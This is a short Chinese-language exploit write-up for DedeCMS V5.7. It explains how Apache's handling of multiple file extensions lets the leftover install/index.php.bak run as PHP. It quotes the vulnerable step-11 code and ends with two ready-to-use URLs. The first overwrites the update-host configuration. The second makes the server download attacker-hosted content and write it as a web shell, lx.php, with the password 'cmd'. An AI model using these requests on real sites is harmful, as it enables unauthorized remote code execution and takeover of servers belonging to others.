dedeCMS远程写入getshell(测试版本V5.7)
该漏洞必须结合apache的解析漏洞:
当Apache检测到一个文件有多个扩展名时,如1.php.bak,会从右向左判断,直到有一个Apache认识的扩展名。如果所有的扩展名Apache都不认识,那么变会按照httpd.conf配置中所指定的方式展示这个问题,一般默认情况下是“text/plain”这种方式。
dede在安装完成,如果没有删除install文件夹,在install下会有一个index.php.bak的备份文件,利用apache的解析漏洞,可以以php方式解析该文件。
在index.php.bak中有如下代码:
else if($step==11) { require_once(‘../data/admin/config_update.php‘); $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt"; $sql_content = file_get_contents($rmurl); $fp = fopen($install_demo_name,‘w‘); if(fwrite($fp,$sql_content)) echo ‘ <font color="green">[√]</font> 存在(您可以选择安装进行体验)‘; else echo ‘ <font color="red">[×]</font> 远程获取失败‘; unset($sql_content); fclose($fp); exit(); }
可以利用index.php.bak文件 step 11中的代码,来在服务器上写入任意文件!
由于远程要包含文件的服务器地址是通过 $updateHost 控制的,那我们首先利用代码来改写../data/admin/config_update.php这个文件,使我们可以自定义 $updateHost的值,那样就可以引用任何我们想要引用的文件啦!
利用方法:
随便找一个网站 新建个127.0.0.1/dedecms/demodata.a.txt
分别依次访问一下链接
http://www.xxxx.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php
http://www.xxxx.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=lx.php&updateHost=http://127.0.0.1/
即可生成http://www.xxxx.com/install/lx.php 密码cmd